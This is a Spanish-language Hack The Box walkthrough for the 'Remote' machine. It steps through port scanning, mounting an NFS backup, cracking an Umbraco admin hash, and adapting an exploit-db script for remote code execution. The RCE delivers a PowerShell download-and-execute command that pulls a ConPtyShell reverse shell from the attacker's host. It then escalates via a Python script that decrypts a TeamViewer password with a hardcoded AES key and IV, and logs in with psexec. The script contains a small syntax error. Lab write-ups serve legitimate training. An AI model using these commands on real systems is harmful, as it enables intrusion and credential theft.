HTB_Remote
Remote {-}
Introduccion {-}
La maquina del dia se llama Remote.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.180
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.180
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p21,80,111,135,445,2049,49666 10.10.10.180 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
21 | ftp | anonymous | |
80 | http | Web Fuzzing | |
111 | rpcbind | ||
135 | msrpc | ||
445 | smb | Conneccion con null session | |
2049 | mountd | nfs, showmount | |
49666 | msrpc | Puertos windows por defecto |
Coneccion Anonoymous con ftp {-}
ftp 10.10.10.180
Name: anonymous
Password:
User logged in.
dir
put allPorts
Nos podemos conectar pero no hay nada y no podemos subir nada.
Listeo con showmount {-}
showmount -e 10.10.10.180
Aqui vemos un /site_backups
, lo montamos
mkdir /mnt/nfs
mount -t nfs 10.10.10.180:/site_backups /mnt/nfs
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.180
No vemos nada interesante aqui.
Checkear la web {-}
Si entramos en la url http://10.10.10.180
, El wappalizer no nos muestra nada.
Hay una serie de “posts” que habla de umbraco. Con google miramos lo que es umbraco y vemos que es un CMS.
Miramos si existe un exploit para umbraco.
searchsploit umbraco
Vemos que hay un exploit en python pero tenemos que estar loggeado.
Miramos por internet si hay un default path para el panel de administracion y vemos la routa http://mysite/umbraco
. Si vamos a este directorio
vemos el panel de autheticacion. Ahora tenemos que buscar el usuario y la contraseña.
Vulnerability Assessment {-}
Analyzando el mount {-}
cd /mnt/nfs
ls
cd App_Browsers
cd ..
cd App_Data
ls
Aqui vemos un fichero umbraco.config y un Umbraco.sdf. Miramos lo que contienen
cat umbraco.config
cat Umbraco.sdf
strings Umbraco.sdf | less -S
Aqui vemos usuarios con hashes.
Crack hash con john {-}
Copiamos el hash en un fichero y lo crackeamos con john
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Ya tenemos una contraseña. Nos connectamos en el panel de authenticacion.
user: admin@htb.local
pwd : baconandcheese
Abusando de Umbraco {-}
Ahora que hemos ganado acceso al dashboard de Umbraco, tenemos que encontrar la via para ganar acceso al systema. Como ya hemos encontrado exploits en la exploit-db, vamos a utilizar una de ellas.
searchsploit umbraco
searchsploit -m 46153.py
mv 46153.py umbraco_exploit.py
vi umbraco_exploit.py
Aqui le ponemos los datos necessario
login = "admin@htb.local"
password = "baconandcheese"
host = "http://10.10.10.180"
#en el payload
proc.StartInfo.FileName = "cmd.exe"
cmd = "/c ping 10.10.14.8"
Nos ponemos en escucha por trazas icmp
tcpdump -i tun0 icmp -n
y lanzamos el exploit con python umbraco_exploit.py
y vemos que tenemos capacidad de ejecucion de comandos.
Vuln exploit & Gaining Access {-}
Umbraco {-}
-
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
Recuperamos conPtyShell
git clone https://github.com/antonioCoco/ConPtyShell cd ConPtyShell cp invoke-ConPtyShell.ps1 ../conptyshell.ps1 cd .. vi conptyshell.ps1
-
Añadimos al final del fichero el commando
Invoke-ConPtyShell -RemoteIp 10.10.14.8 -RemotePort 443 -Rows 52 -Cols 189
-
Creamos un servidor http con python
python -m http.server 80
-
Modificamos el commando a lanzar en el umbraco_exploit.py
proc.StartInfo.FileName = "cmd.exe" cmd = "/c powershell IEX(New-Object Net.WebClient).downloadString(\'http://10.10.14.8/conptyshell.ps1\')"
-
Lanzamos el script
python3 umbraco_exploit.py
Aqui vemos que hemos ganado acceso al systema como el usuario defaultappool con una shell totalmente interactiva.
Tratamiento de la TTY {-}
^Z
stty raw -echo; fg
Enter
whoami
whoami
cd C:\
cd C:\
Aqui ya podemos ver la flag en el directorio Public.
Privilege Escalation {-}
Rootear la maquina {-}
whoami
systeminfo
whoami /priv
Aqui vemos que tenemos privilegios SeImpersonatePrivilege. Podriamos tratar de utilizar el JuicyPotato pero en este caso vamos a hacerlo de otra forma. Si hacemos
tasklist
Vemos que hay un TeamViewer_Service.exe.
locate teamviewer | grep "metasploit"
cat /usr/share/metasploit-framework/modules/post/windows/gather/credentials/teamviewer_passwords.rb
Como no vamos a utilizar metasploit nos creamos un script en python, pero primero miramos el script y recuperamos la version y la contraseña cifrada.
cd C:\
cd PROGR~1
dir
cd PROGR~2
dir
cd TeamViewer
dir
#Output Version7
cd HKLM:\SOFTWARE\WOW6432Node\TeamViewer\Version7
Get-itemproperty -Path .
(Get-itemproperty -Path .).SecurityPasswordAES
Aqui ya tenemos el cifrado de la contraseña. La copiamos y la modificamos para poder usarla desde el script de python
echo "255
155
28
115
214
107
206
49
172
65
62
174
19
27
78
79
88
47
108
226
209
225
243
218
126
141
55
107
38
57
78
91" | xargs | sed 's/ /, /g' | tr -d '\n' | xclip -sel clip
y creamos nuestro script
#!/usr/bin/python3
from Crypto.Cipher = AES
key = b'\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00'
IV = b'\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xf2\x5e\xa8\xd7\x04'
decipher = AES.new(key, AES.MODE_CBC, IV)
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 19, 27, 78, 79, 88, 47, 108, 226, 209, 225, 243, 218, 126, 141, 55, 107, 38, 57, 78, 91])
plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
Lanzamos el script y tenemos la contraseña del teamviewer.
contraseña encontrada es contraseña que tenemos que verificar.
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
Nos da un (Pwn3d!).
Nos connectamos con psexec
psexec.py WORKGROUP/Administrator@10.10.10.180 cmd.exe
password: !R3m0te!
whoami nt authority\system
Ya somos administrador y podemos ver la flag.